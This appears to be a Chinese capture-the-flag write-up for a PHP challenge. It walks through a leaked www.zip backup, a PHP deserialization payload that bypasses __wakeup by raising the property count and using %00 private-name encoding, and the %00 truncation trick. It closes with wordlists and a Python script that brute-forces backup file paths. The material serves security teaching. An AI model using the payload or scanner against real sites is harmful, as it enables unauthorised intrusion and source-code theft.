网站源码备份 [极客大挑战 2019]PHP1

打开题目

网站源码备份 [极客大挑战 2019]PHP1_第1张图片

题目提示我们备份网站

我们输入/www.zip

下载zip文件,打开发现

网站源码备份 [极客大挑战 2019]PHP1_第2张图片

打开index.php

网站源码备份 [极客大挑战 2019]PHP1_第3张图片

文件包含class.php,get传参一个select函数,反序列化select参数的值并赋值给res

然后我们访问class.php

include 'flag.php';   //包含flag.php文件


error_reporting(0);


class Name{
    private $username = 'nonono';   //private 函数仅在其类内部调用时才有效,Private 函数只能在定义它的类中访问,不能在类外访问。
    private $password = 'yesyes';

    public function __construct($username,$password){   //construct构造函数
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';   //用wakeup函数让username变量等于guest
    }

    function __destruct(){
        if ($this->password != 100) {   //如果密码不等于100
            echo "
NO!!!hacker!!!
";
            echo "You name is: ";
            echo $this->username;echo "
";
            echo "You password is: ";
            echo $this->password;echo "
";
            die();
        }
        if ($this->username === 'admin') {    //如果用户名和admin强比较相等
            global $flag;
            echo $flag;   //输出flag
        }else{
            echo "
hello my friend~~
sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

本题的关键,就是username的赋值

因为 __wakeup 会对userneme进行一次赋值,所以我们要想办法绕过该函数, 才能让username与admin强比较相等

构造payload我们还是用phpstudy

class Name{
    private $username = 'admin';
    private $password = '100';
    }
 $select = new Name();
 $res=serialize(@$select);   
 echo $res
?>

打开本地网站即可得到

网站源码备份 [极客大挑战 2019]PHP1_第4张图片

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

O这里的4指的是name的长度,name后面的2指的是有2个成员,Nameusername,Namepassword

我们这里只需要把name后面的2修改为比2大的数字就好了

修改后的payload

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

接下来我们把select传参就好

得到flag

网站源码备份 [极客大挑战 2019]PHP1_第5张图片

知识点:

  •  PHP中private私有函数

Private 函数只能在定义它的类中访问,不能在类外访问。当 private 函数仅在其类内部调用时才有效

  • php中construct构造函数

创建构造函数的语法格式如下:

public function __construct(参数列表){
    ... ...
}

  • php中function函数

将实现某一功能的代码块封装到一个结构中,实现代码复用

函数定义

function 函数名(参数){
    // 函数体
    return 返回值
}

函数调用的特点:

只要系统在内存中能够找到对应的函数,就可以执行(函数的调用可以在函数定义之前)

实例:

function writeName()
{
    echo "Kai Jim Refsnes";
}
 
echo "My name is ";
writeName();
?>

运行结果

My name is Kai Jim Refsnes

 文章见:PHP 函数 | 菜鸟教程

  • php中wakeup函数

当反序列化字符串中,表示属性个数的值⼤于真实属性个数时,会绕过 __wakeup 函数的执⾏。是因为 PHP 在反序列化过程中,会忽略掉多出来的属性,而不会对这些属性进行处理和执行。

当 PHP 反序列化一个对象时,它首先读取对象的类名,并创建一个新的对象。然后,PHP 会读取对象的属性个数,并将每个属性的名称和值读入对象中。如果属性个数比实际属性个数多,则 PHP 会忽略这些多余的属性,直接将对象反序列化到一个不完整的状态。这将绕过 __wakeup() 函数的执行,因为 PHP 无法通过未知的属性来检查对象的完整性。
 

文章见:CTF必看~ PHP反序列化漏洞6:绝妙_wakeup绕过技巧_ctf php 反序列化漏洞_Eason_LYC的博客-CSDN博客

  • php中%00截断

在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束

实例:

https://mp.csdn.net/upfiles/?filename=test.txt                                此时输出的是test.txt

加上%00

https://mp.csdn.net/upfiles/?filename=test.php%00.txt                   此时输出的是test.php

文章见:转载-一篇讲解比较详细的00截断原理 - 简书

  • 网站备份文件常用后缀名
备份文件常见的后缀名

备份文件基本上都是压缩包

  • .rar
  • .zip
  • .7z
  • .tar.gz
  • .bak
    对于bak类的备份文件,可以直接输入文件名称+.bak访问例如:
    index.php.bak
  • .txt
  • .old
  • .temp
  • _index.html
  • .swp
  • .sql
  • .tgz
  • tar

备份文件常见的文件名

文件名不包含后缀

  • web
  • website
  • backup
  • back
  • www
  • wwwroot
  • temp
  • db
  • data
  • code
  • test
  • admin
  • user
  • sql
常见的备份文件所在目录
/     #根目录首先
/admin 
/data
/default
/index
/login
/manage
/cmseditor
/db
/bbs
/phpadmin

常规的网站目录收集软件
  • 御剑
  • DirBuster
  • Webdirscan
  • Cansina
  • Dirsearch
  • awvs
  • wwwscan

注:

我们可以用kali下的dirsearch扫描目录

也可以用python自写脚本

在此题的基础上

脚本源自下方链接,在此基础上有所改动

​

import requests

url1 = 'http://www.abc.net'  # url为被扫描地址,后不加‘/’

# 常见的网站源码备份文件名  同目录下创建List.txt 如web,website,backup,back,www,wwwroot,temp等
with open('List1.txt', 'r') as f:
    list1 = f.read().splitlines()
    
# 常见的网站源码备份文件后缀
list2 = ['tar', 'tar.gz', 'zip', 'rar', '7-zip', '7z', 'txt']
for i in list1:
    for j in list2:
        back = str(i) + '.' + str(j)
        url = str(url1) + '/' + back
        print(back + '    ', end='')
        print(requests.get(url).status_code)

        #结果返回的是状态码,如果状态码为200则存在

[点击并拖拽以移动]
​

网站源码备份 [极客大挑战 2019]PHP1_第6张图片

网站源码备份 [极客大挑战 2019]PHP1_第7张图片

网站源码备份 [极客大挑战 2019]PHP1_第8张图片

文章见:CTF——Web网站备份源码泄露_ctf 网站备份-CSDN博客

你可能感兴趣的:(sql,数据库)